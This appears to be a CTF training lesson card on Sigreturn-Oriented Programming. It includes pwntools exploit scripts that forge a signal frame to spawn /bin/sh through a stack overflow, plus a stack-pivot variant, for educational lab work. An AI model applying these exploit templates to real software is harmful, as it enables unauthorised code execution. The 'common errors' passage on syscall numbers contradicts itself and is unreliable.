Browse CTFs New CTF Sign in

Sigreturn-Oriented Programming: Signal Frame Hijacking for Full CPU Register Control with Minimal Gadgets

log_analysis_siem Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Sigreturn-Oriented Programming (SROP) is a powerful exploit technique that uses the kernel's signal return mechanism to set every CPU register to arbitrary values in a single gadget. Introduced in academic research (Bosman & Bos, 2014) and immediately adopted in CTF and real-world exploits, SROP is particularly valuable when the available gadget set is tiny — sometimes just syscall; ret and a way to control RAX. NICE K0168 (exploit code knowledge), K0169 (reverse engineering), and S0131 (develop exploits) all require understanding of how the kernel's signal delivery and return mechanism can be abused to achieve arbitrary register control without a full ROP chain.

Core Concept

When the Linux kernel delivers a signal to a process, it saves the entire CPU state (all registers, flags, segment registers) onto the user-mode stack as a sigcontext structure, then jumps to the signal handler. When the signal handler returns, it invokes the sigreturn syscall (SYS_rt_sigreturn = 15 on x86_64), which tells the kernel to restore all registers from the sigcontext on the stack. The kernel does not validate that the sigcontext was actually placed there by a legitimate signal delivery — it simply reads the registers from wherever RSP points.

An attacker who: 1. Controls RSP (can point it at a controlled buffer) 2. Can execute a syscall instruction with RAX = 15 (SYS_rt_sigreturn)

...can forge the entire sigcontext struct and have the kernel restore arbitrary values into every register, including RIP and RSP. This provides arbitrary code execution in a single syscall.

sigcontext layout (x86_64, from <sys/ucontext.h>):

Offset  Field
0x00    uc_flags
0x08    uc_link
0x10    uc_stack (ss_sp, ss_flags, ss_size)
0x28    uc_mcontext (gregs[])
  0x28  R8
  0x30  R9
  0x38  R10
  0x40  R11
  0x48  R12
  0x50  R13
  0x58  R14
  0x60  R15
  0x68  RDI
  0x70  RSI
  0x78  RBP
  0x80  RBX
  0x88  RDX
  0x90  RAX
  0x98  RCX
  0xa0  RSP
  0xa8  RIP       <- set to target address
  0xb0  EFL (RFLAGS)
  0xb8  CSGSFS
  ...

Technical Deep-Dive

Minimal SROP gadget requirement: - syscall; ret gadget (to execute rt_sigreturn) - A way to set RAX = 15 (e.g., mov eax, 15; ret or via the return value of a previous syscall like read that returns 15) - Control over RSP (stack pivot or direct stack control)

pwntools makes SROP frame construction trivial:

from pwn import *

context.arch = 'amd64'
context.os   = 'linux'

elf = ELF('./srop_challenge')
p   = process('./srop_challenge')

# Assume:
# - Binary has a "syscall; ret" gadget at known address
# - Binary reads input into a stack buffer (overflow to control RIP/RSP)
# - No other useful gadgets for a full ROP chain

syscall_ret = 0x401234        # address of "syscall; ret" gadget
rw_section  = 0x404000        # writable BSS area for /bin/sh string

# Build SROP frame to call execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve    # 59
frame.rdi = rw_section              # pointer to "/bin/sh"
frame.rsi = 0                       # argv = NULL
frame.rdx = 0                       # envp = NULL
frame.rip = syscall_ret             # after sigreturn: execute "syscall; ret" -> execve
frame.rsp = rw_section + 0x100      # new stack after sigreturn

# Step 1: write "/bin/sh" to BSS via read() syscall (if read is available)
# Many SROP challenges provide a read primitive

# Step 2: set RAX = 15 for rt_sigreturn
# If we control the return value of read(): read(fd, buf, 15) returns 15 = RAX
# Then: execute "syscall; ret" -> rt_sigreturn with our frame on the stack

padding = b'A' * 72          # offset to saved RIP (find with cyclic)
payload  = padding
payload += p64(syscall_ret)   # RIP -> syscall; ret (executes rt_sigreturn if RAX=15)
payload += bytes(frame)       # sigcontext frame on stack after ret

# RAX must be 15: arrange read() to return 15 before this
p.send(b'x00' * 15)         # 15-byte read sets RAX=15
p.send(payload)
p.interactive()

Stack pivot for SROP: when the overflow does not provide enough space on the current stack for the full frame (248 bytes on x86_64), pivot RSP to a writable region first:

# Use "leave; ret" as pivot: mov rsp, rbp; pop rbp; ret
# Place frame at a known address, set rbp to point there, execute leave;ret
pivot_gadget = 0x401300       # leave; ret
frame_addr   = 0x404100       # where frame is written via read() earlier

# Overflow: set rbp to frame_addr - 8, rip to pivot_gadget
payload = b'A' * 64          # fill buffer
payload += p64(frame_addr - 8)  # saved RBP -> pivot target
payload += p64(pivot_gadget)    # saved RIP -> leave;ret
payload += bytes(frame)

p.sendline(payload)

Reverse Engineering Methodology

  1. Check for syscall; ret gadgets: ROPgadget --binary ./challenge --rop | grep "syscall". This is the minimal requirement for SROP.
  2. Identify how to set RAX = 15. If read(fd, buf, 15) is callable and returns 15, that sets RAX automatically. Alternatively, look for mov eax, 15; ret or pop rax; ret with a controlled stack.
  3. Find a writable region for the frame and any strings: readelf -S ./challenge | grep -E "bss|data". The frame is 248 bytes; ensure sufficient space.
  4. Use pwntools SigreturnFrame() which handles the full struct layout automatically. Verify by printing bytes(frame) in hex and comparing against the kernel struct offsets manually.

Common Reversing Errors

  • Forgetting that rt_sigreturn number is 15 on x86_64, not 119: sigreturn (15) is the single-argument version for 32-bit; rt_sigreturn (15) is the same number on x86_64. On i386, rt_sigreturn is 173. Always use the correct architecture's syscall table.
  • Frame not aligned to the stack: the sigcontext must be at the RSP value when rt_sigreturn executes. If the frame is at an address that is not 16-byte aligned, some register restore operations will fault. Ensure rsp in the overflow payload is 16-byte aligned before the frame bytes.
  • Overwriting frame with subsequent writes: if the challenge reads multiple rounds of input to the same buffer, a second read may overwrite the frame before sigreturn executes it. Send the frame in one operation or ensure no second write occurs.
  • RIP in frame points to wrong gadget: after rt_sigreturn restores registers, execution continues at frame.rip. If this is set to a syscall; ret gadget and frame.rax = 59, the next execution performs execve. But if frame.rip points to an invalid address, you get a segfault with all registers correctly set — a visible sign the frame was applied. Use this to debug frame offsets.

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.